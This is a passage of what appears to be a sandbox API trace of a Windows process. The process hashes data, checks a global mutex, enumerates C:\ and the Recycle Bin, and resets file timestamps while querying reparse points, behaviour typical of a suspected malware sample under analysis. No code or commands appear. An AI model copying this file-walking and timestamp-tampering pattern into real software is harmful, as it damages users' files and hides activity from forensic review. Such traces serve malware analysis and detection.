phHash=0x119fc64 | out: phHash=0x119fc64) returned 1 [0039.358] CryptHashData (hHash=0x2e8fc0, pbData=0x9d8a28, dwDataLen=0xa, dwFlags=0x0) returned 1 [0039.358] CryptGetHashParam (in: hHash=0x2e8fc0, dwParam=0x4, pbData=0x119fc68, pdwDataLen=0x119fc74, dwFlags=0x0 | out: pbData=0x119fc68, pdwDataLen=0x119fc74) returned 1 [0039.358] CryptGetHashParam (in: hHash=0x2e8fc0, dwParam=0x2, pbData=0x9d8248, pdwDataLen=0x119fc68, dwFlags=0x0 | out: pbData=0x9d8248, pdwDataLen=0x119fc68) returned 1 [0039.358] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d89e0 [0039.358] CryptDestroyHash (hHash=0x2e8fc0) returned 1 [0039.358] CryptReleaseContext (hProv=0x2f97d0, dwFlags=0x0) returned 1 [0039.358] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8248) returned 1 [0039.358] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8248 [0039.358] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8998 [0039.358] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8248) returned 1 [0039.359] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8248 [0039.359] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8248) returned 1 [0039.359] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8998) returned 1 [0039.359] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d89e0) returned 1 [0039.359] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d89e0 [0039.359] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8998 [0039.359] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8998) returned 1 [0039.359] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8998 [0039.359] OpenMutexA (dwDesiredAccess=0x100002, bInheritHandle=0, lpName="{Global\\{-D2A8-E443--570-7-F5B2-D923-}") returned 0x0 [0039.359] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8998) returned 1 [0039.359] GetLastError () returned 0x3 [0039.359] WaitForSingleObject (hHandle=0x0, dwMilliseconds=0xffffffff) returned 0xffffffff [0039.359] GetLastError () returned 0x6 [0039.359] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fb60 [0039.359] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fad8 [0039.359] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fa50 [0039.359] FindFirstFileExW (in: lpFileName="C:\\*", fInfoLevelId=0x1, lpFindFileData=0x119fa34, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119fa34) returned 0x2e8f80 [0039.359] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119fa34 | out: lpFindFileData=0x119fa34*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2c0000, dwReserved1=0x8003, cFileName="Boot", cAlternateFileName="")) returned 1 [0039.359] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119fa34 | out: lpFindFileData=0x119fa34*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x2c0000, dwReserved1=0x8003, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0039.359] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f148 [0039.359] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f148) returned 1 [0039.359] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f148 [0039.359] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f148) returned 1 [0039.359] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f148 [0039.359] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9ed940 [0039.359] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f9c8 [0039.360] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8998 [0039.360] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f148) returned 1 [0039.360] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119fa34 | out: lpFindFileData=0x119fa34*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac54a060, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac54a060, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac54a060, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x2c0000, dwReserved1=0x8003, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0039.360] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f148 [0039.360] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f148) returned 1 [0039.360] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f148 [0039.360] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f148) returned 1 [0039.360] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f148 [0039.360] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x94bc08 [0039.360] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f940 [0039.360] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f148) returned 1 [0039.360] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119fa34 | out: lpFindFileData=0x119fa34*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2c0000, dwReserved1=0x8003, cFileName="Config.Msi", cAlternateFileName="")) returned 1 [0039.360] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119fa34 | out: lpFindFileData=0x119fa34*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8003, cFileName="Documents and Settings", cAlternateFileName="")) returned 1 [0039.360] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119fa34 | out: lpFindFileData=0x119fa34*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x56257dc0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x56257dc0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x4e9ad440, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0xa0000003, dwReserved1=0x8003, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0039.360] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f148 [0039.360] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f148) returned 1 [0039.360] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f148 [0039.360] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f148) returned 1 [0039.360] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f148 [0039.360] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x94ff98 [0039.360] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f8b8 [0039.360] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f148) returned 1 [0039.360] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119fa34 | out: lpFindFileData=0x119fa34*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8003, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0039.360] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119fa34 | out: lpFindFileData=0x119fa34*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x563d4b80, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x563d4b80, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x4ecf3280, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0xa0000003, dwReserved1=0x8003, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0039.360] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f148 [0039.360] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f148) returned 1 [0039.360] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f148 [0039.360] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f148) returned 1 [0039.360] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f148 [0039.360] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x94ffb8 [0039.360] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f830 [0039.360] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f148) returned 1 [0039.360] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119fa34 | out: lpFindFileData=0x119fa34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8003, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0039.360] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119fa34 | out: lpFindFileData=0x119fa34*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa44a8750, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa44a8750, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8003, cFileName="Program Files", cAlternateFileName="")) returned 1 [0039.361] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119fa34 | out: lpFindFileData=0x119fa34*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x10f11a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f11a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8003, cFileName="Program Files (x86)", cAlternateFileName="")) returned 1 [0039.361] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119fa34 | out: lpFindFileData=0x119fa34*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8003, cFileName="ProgramData", cAlternateFileName="")) returned 1 [0039.361] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119fa34 | out: lpFindFileData=0x119fa34*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27cc8060, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27cc8060, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8003, cFileName="Recovery", cAlternateFileName="")) returned 1 [0039.361] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119fa34 | out: lpFindFileData=0x119fa34*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x56231c60, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0xa1602bc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa1602bc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8003, cFileName="System Volume Information", cAlternateFileName="")) returned 1 [0039.361] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119fa34 | out: lpFindFileData=0x119fa34*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8003, cFileName="Users", cAlternateFileName="")) returned 1 [0039.361] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119fa34 | out: lpFindFileData=0x119fa34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb4a840, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x2fb4a840, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8003, cFileName="Windows", cAlternateFileName="")) returned 1 [0039.361] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119fa34 | out: lpFindFileData=0x119fa34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb4a840, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x2fb4a840, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8003, cFileName="Windows", cAlternateFileName="")) returned 0 [0039.361] GetLastError () returned 0x12 [0039.361] FindFirstFileExW (in: lpFileName="C:\\*", fInfoLevelId=0x1, lpFindFileData=0x119fa34, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119fa34) returned 0x2e8fc0 [0039.361] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0039.361] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f148 [0039.361] GetFileAttributesExW (in: lpFileName="C:\\$Recycle.Bin" (normalized: "c:\\$recycle.bin"), fInfoLevelId=0x0, lpFileInformation=0x119f930 | out: lpFileInformation=0x119f930*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0039.361] CreateFileW (lpFileName="C:\\$Recycle.Bin" (normalized: "c:\\$recycle.bin"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0039.361] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119f974, lpLastWriteTime=0x119f974) returned 0 [0039.361] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9d9690 [0039.361] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9d9690, nOutBufferSize=0x4000, lpBytesReturned=0x119f9cc, lpOverlapped=0x0 | out: lpOutBuffer=0x9d9690, lpBytesReturned=0x119f9cc, lpOverlapped=0x0) returned 0 [0039.362] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d9690) returned 1 [0039.362] NtClose (Handle=0x124) returned 0x0 [0039.362] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f148) returned 1 [0039.362] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f148 [0039.362] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f7a8 [0039.362] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f720 [0039.362] FindFirstFileExW (in: lpFileName="C:\\$Recycle.Bin\\*", fInfoLevelId=0x1, lpFindFileData=0x119f77c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f77c) returned 0x2e8f80 [0039.362] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.362] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="")) returned 1 [0039.362] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="")) returned 0 [0039.362] GetLastError () returned 0x12 [0039.362] FindFirstFileExW (in: lpFileName="C:\\$Recycle.Bin\\*", fInfoLevelId=0x1, lpFindFileData=0x119f77c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f77c) returned 0x2e8f40 [0039.362] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0039.362] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.362] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="")) returned 1 [0039.362] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0039.362] GetFileAttributesExW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000"), fInfoLevelId=0x0, lpFileInformation=0x119f678 | out: lpFileInformation=0x119f678*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0xa000)) returned 1 [0039.362] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0039.363] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119f6bc, lpLastWriteTime=0x119f6bc) returned 0 [0039.363] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9d9690 [0039.363] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9d9690, nOutBufferSize=0x4000, lpBytesReturned=0x119f714, lpOverlapped=0x0 | out: lpOutBuffer=0x9d9690, lpBytesReturned=0x119f714, lpOverlapped=0x0) returned 0 [0039.363] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d9690) returned 1 [0039.363] NtClose (Handle=0x124) returned 0x0 [0039.363] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0039.363] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0039.363] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f610 [0039.363] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d4850 [0039.363] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0039.363] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d4958 [0039.363] FindFirstFileExW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e8f80 [0039.363] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.366] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0039.366] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0039.366] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0039.366] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0039.366] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0039.366] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0039.366] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d4a60 [0039.366] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f610) returned 1 [0039.366] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x94dd90 [0039.366] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d4b68 [0039.366] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0039.366] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, 